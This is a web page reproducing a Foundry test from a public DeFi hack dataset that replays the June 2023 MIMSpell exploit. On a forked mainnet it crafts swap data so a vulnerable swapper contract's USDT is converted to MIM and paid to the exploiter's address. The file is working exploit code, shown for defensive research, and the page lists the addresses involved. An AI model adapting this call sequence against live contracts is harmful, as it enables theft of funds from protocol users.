Skip to content
THREATWIRE

Public reproduction file

src/test/2023-06/MIMSpell_exp.sol

Public reproduction file for dataset entry MIMSpell.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-06/MIMSpell_exp.sol109 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~17K USD$
8// Attacker : https://etherscan.io/address/0x9d4fd681aacbc49d79c6405c9aa70d1afd5accf3
9// Attack Contract : https://etherscan.io/address/0x26fe84754a1967d67b7befaa01b10d7b35bbaf0a
10// Vulnerable Contract : https://etherscan.io/address/0xa5564a2d1190a141cac438c9fde686ac48a18a79
11// Attack Tx : https://etherscan.io/tx/0x2c9f87e285026601a2c8903cf5f10e5b3655fbd0264490c41514ce073c42a9c3
13// @Analysis
14// https://twitter.com/hexagate_/status/1671188024607100928?cxt=HHwWgMC--e2poLEuAAAA
16interface IDegenBox {
17 function deposit(
18 address token_,
19 address from,
20 address to,
21 uint256 amount,
22 uint256 share
23 ) external returns (uint256 amountOut, uint256 shareOut);
26interface ISwapper {
27 function swap(
28 address from,
29 address to,
30 address recipient,
31 uint256 shareToMin,
32 uint256 shareFrom,
33 bytes calldata swapData
34 ) external;
37contract MIMTest is Test {
38 struct CurveData {
39 address curveAddress;
40 bytes4 exchangeFunctionSelector;
41 int128 fromCoinIdx;
42 int128 toCoinIdx;
43 }
45 address CurveAddress = 0x5a6A4D54456819380173272A5E8E9B9904BdF41B;
46 bytes4 CurveFunctionSelector = bytes4(keccak256(bytes("exchange_underlying(int128,int128,uint256,uint256)")));
47 int128 FromCoinIdx = 3;
48 int128 ToCoinIdx = 0;
50 // Stargate Tether USD Token
51 IERC20 SUSDT = IERC20(0x38EA452219524Bb87e18dE1C24D3bB59510BD783);
52 // Magic Internet Money Token
53 IERC20 MIM = IERC20(0x99D8a9C45b2ecA8864373A26D1459e3Dff1e17F3);
54 IERC20 USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
55 IDegenBox DegenBox = IDegenBox(0xd96f48665a1410C0cd669A88898ecA36B9Fc2cce);
56 ISwapper ZeroXStargateLPSwapper = ISwapper(0xa5564a2d1190a141CAC438c9fde686aC48a18A79);
57 address private constant curveLiquidityProvider = 0x561B94454b65614aE3db0897B74303f4aCf7cc75;
58 // Exploiter EOA address
59 address private constant exploiter = 0x9d4fD681AacBc49D79c6405C9aA70d1afd5aCCF3;
60 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
62 function setUp() public {
63 cheats.createSelectFork("mainnet", 17_521_638);
64 deal(address(SUSDT), exploiter, 3e6);
65 cheats.startPrank(exploiter);
66 SUSDT.approve(address(this), type(uint256).max);
67 cheats.stopPrank();
68 cheats.label(address(SUSDT), "SUSDT");
69 cheats.label(address(MIM), "MIM");
70 cheats.label(address(DegenBox), "DegenBox");
71 cheats.label(address(ZeroXStargateLPSwapper), "ZeroXStargateLPSwapper");
72 cheats.label(curveLiquidityProvider, "CurveLiquidityProvider");
73 cheats.label(exploiter, "Exploiter");
74 }
76 // "Transaction" - name taken from the function name of the exploiter contract
77 function testTransaction() public {
78 emit log_named_decimal_uint(
79 "Exploiter's amount of MIM tokens before attack", MIM.balanceOf(exploiter), MIM.decimals()
80 );
82 SUSDT.transferFrom(exploiter, address(this), 3e6);
83 SUSDT.approve(address(DegenBox), type(uint256).max);
84 DegenBox.deposit(address(SUSDT), address(this), address(ZeroXStargateLPSwapper), 0, 2_400_000);
86 // Creating swapData which will be used for calling proxy contract inside vulnerable swap() function.
87 // bytes
88 // memory auxiliaryData = hex"0000000000000000000000005a6a4d54456819380173272a5e8e9b9904bdf41ba6417ed60000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030000000000000000000000000000000000000000000000000000000000000000";
89 bytes memory auxiliaryDatas = abi.encode(CurveAddress, CurveFunctionSelector, FromCoinIdx, ToCoinIdx);
90 bytes memory data = abi.encodeWithSignature(
91 "sellToLiquidityProvider(address,address,address,address,uint256,uint256,bytes)",
92 address(USDT), // inputToken
93 address(MIM), // outputToken
94 curveLiquidityProvider, // provider
95 exploiter, // recipient
96 USDT.balanceOf(address(ZeroXStargateLPSwapper)), // sellAmount
97 16_716_883_658_670_000_000_000, // minBuyAmount
98 auxiliaryDatas // auxiliaryData
99 );
101 // By making call to zeroXEchangeProxy.call(swapData) inside swap function,
102 // exploiter could swap the USDT owned by ZeroXStargateLPSwapper contract to MIM tokens in which the recipient is the attacker
103 ZeroXStargateLPSwapper.swap(address(this), address(this), address(this), 0, 1_920_000, data);
105 emit log_named_decimal_uint(
106 "Exploiter's amount of MIM tokens after attack", MIM.balanceOf(exploiter), MIM.decimals()
107 );
108 }

Analysis

Dataset entry

Public Foundry test for “MIMSpell” (2023-06-20). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

23 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x9d4fd681aacbc49d79c6405c9aa70d1afd5accf3

  • Attack Contract

    0x26fe84754a1967d67b7befaa01b10d7b35bbaf0a

  • Vulnerable Contract

    0xa5564a2d1190a141cac438c9fde686ac48a18a79

  • Attack Tx

    0x2c9f87e285026601a2c8903cf5f10e5b3655fbd0264490c41514ce073c42a9c3

File record

Name
MIMSpell
Path
src/test/2023-06/MIMSpell_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
b6d1a6c8ae275726a9c67b25817cd34a527234d1
Language
Solidity
Size
110 lines
Date
2023-06-20
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-06/MIMSpell_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob b6d1a6c8ae275726a9c67b25817cd34a527234d1, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.